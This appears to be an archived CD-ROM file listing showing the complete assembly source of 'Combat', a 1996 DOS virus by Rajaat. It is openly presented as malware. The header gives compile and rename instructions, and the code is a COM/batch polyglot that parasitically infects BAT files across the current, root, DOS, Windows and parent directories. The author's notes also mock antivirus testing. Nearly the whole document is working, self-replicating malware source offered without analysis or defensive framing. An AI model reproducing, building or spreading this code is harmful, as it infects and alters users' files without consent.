home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / RJUPDAT2.ZIP / COMBAT.ZIP / COMBAT.ASM next >
Assembly Source File  |  1996-09-08  |  5KB  |  143 lines

  1. ;=====( Combat virus by Rajaat )===============================================
  2. ;
  3. ; Non-resident BAT infector, doesn't use external programs by third party.
  4. ;
  5. ;==============================================================================
  6. ;
  7. ; Virus name    : Combat
  8. ; Author        : Rajaat
  9. ; Origin        : United Kingdom, July 1996
  10. ; Compiling     : Using TASM
  11. ;
  12. ;                 TASM /M COMBAT
  13. ;                 TLINK /T COMBAT
  14. ;                 REN COMBAT.COM COMBAT.BAT
  15. ; Targets       : BAT files
  16. ; Size          : Doesn't matter
  17. ; Resident      : No
  18. ; Polymorphic   : No
  19. ; Encrypted     : No
  20. ; Stealth       : No
  21. ; Tunneling     : No
  22. ; Retrovirus    : No
  23. ; Antiheuristics: No
  24. ; Peculiarities : It infects BAT files parasitically
  25. ; Drawbacks     : It's a goddamn BAT infector, what do you think?!?
  26. ; Behaviour     : No really, find out yourself! I was bored and made this,
  27. ;                 do you really think I'd spend time explaining what it DOES?
  28. ;                 It's unknown what this virus might do besides replicate :)
  29. ;==============================================================================
  30. ;
  31. ; Results with antivirus software
  32. ;
  33. ;       TBFILE                    - Not tested
  34. ;       TBSCAN                    - Not tested
  35. ;       TBMEM                     - Not tested
  36. ;       TBCLEAN                   - Not tested
  37. ;       SVS                       - Not tested
  38. ;       SSC                       - Not tested
  39. ;       F-PROT                    - Not tested
  40. ;       F-PROT /ANALYSE           - Not tested
  41. ;       F-PROT /ANALYSE /PARANOID - Not tested
  42. ;       AVP                       - Not tested
  43. ;       VSAFE                     - Not tested
  44. ;       NEMESIS                   - Not tested
  45. ;
  46. ;==============================================================================
  47.  
  48. .model tiny
  49. .code
  50. .radix 16
  51.  
  52. signature       equ 5240
  53.  
  54.                 org 100
  55.  
  56. main:
  57.                 db '@REM ',0ff
  58.                 jmp com_entry
  59.                 db ' * ComBat *'
  60.                 db 0dh,0ah
  61.                 db '@echo off',0dh,0ah
  62.                 db 'goto ComBat',0dh,0ah
  63.  
  64. com_entry:      mov si,80
  65.                 cmp byte ptr ds:[si],0
  66.                 je no_check
  67.                 cld
  68. find_argument:  inc si
  69.                 lodsb
  70.                 dec si
  71.                 cmp al,20
  72.                 je find_argument
  73.                 mov dx,si
  74. find_end:       lodsb
  75.                 cmp al,0dh
  76.                 jne find_end
  77.                 mov byte ptr ds:[si-1],0
  78.                 push dx
  79.                 mov ax,3d02
  80.                 int 21
  81.                 jc no_check
  82.                 xchg ax,bx
  83.                 lea dx,virus_end
  84.                 mov ah,3f
  85.                 mov cx,3
  86.                 int 21
  87.                 mov ah,3e
  88.                 int 21
  89.                 pop dx
  90.                 cmp word ptr virus_end,signature
  91.                 je no_check
  92.                 mov ax,4301
  93.                 xor cx,cx
  94.                 int 21
  95.                 mov ah,3c
  96.                 xor cx,cx
  97.                 lea dx,temp_file
  98.                 int 21
  99.                 jc no_check
  100.                 xchg ax,bx
  101.                 mov ah,40
  102.                 lea dx,main
  103.                 mov cx,file_length
  104.                 int 21
  105.                 mov ah,3e
  106.                 int 21
  107.                 mov ax,4c00
  108.                 int 21
  109.  
  110.                 db 0,'Rajaat / Genesis',0
  111.  
  112. no_check:       mov ax,4c01
  113.                 int 21
  114.  
  115. temp_file       db 'ComBat.TMP',0
  116.  
  117. batch_2         db 0dh,0ah
  118.                 db ':ComBat',0dh,0ah
  119.                 db 'if #%_tmp%#==## goto no_call',0dh,0ah
  120.                 db 'C:\ComBat.COM %1',0dh,0ah
  121.                 db 'if errorlevel 1 goto done_ComBat',0dh,0ah
  122.                 db 'type %1 >> ComBat.TMP',0dh,0ah
  123.                 db 'echo. >> ComBat.TMP',0dh,0ah
  124.                 db 'echo :done_ComBat >> ComBat.TMP',0dh,0ah
  125.                 db 'copy ComBat.TMP %1 > nul',0dh,0ah
  126.                 db 'del ComBat.TMP > nul',0dh,0ah
  127.                 db 'goto done_ComBat',0dh,0ah
  128.                 db ':no_call',0dh,0ah
  129.                 db 'set _tmp=%0',0dh,0ah
  130.                 db 'if #%_tmp%#==## set _tmp=AUTOEXEC.BAT',0dh,0ah
  131.                 db 'if not exist %_tmp% set _tmp=%0.BAT',0dh,0ah
  132.                 db 'if not exist %_tmp% goto path_error',0dh,0ah
  133.                 db 'copy %_tmp% C:\ComBat.COM > nul',0dh,0ah
  134.                 db 'for %%f in (*.bat c:\*.bat c:\dos\*.bat c:\windows\*.bat ..\*.bat) do call %_tmp% %%f',0dh,0ah
  135.                 db 'del C:\ComBat.COM > nul',0dh,0ah
  136.                 db ':path_error',0dh,0ah
  137.                 db 'set _tmp=',0dh,0ah
  138. file_length     equ $-main
  139. virus_end       equ $
  140.                 db ':done_ComBat',0dh,0ah
  141.  
  142. end main
  143.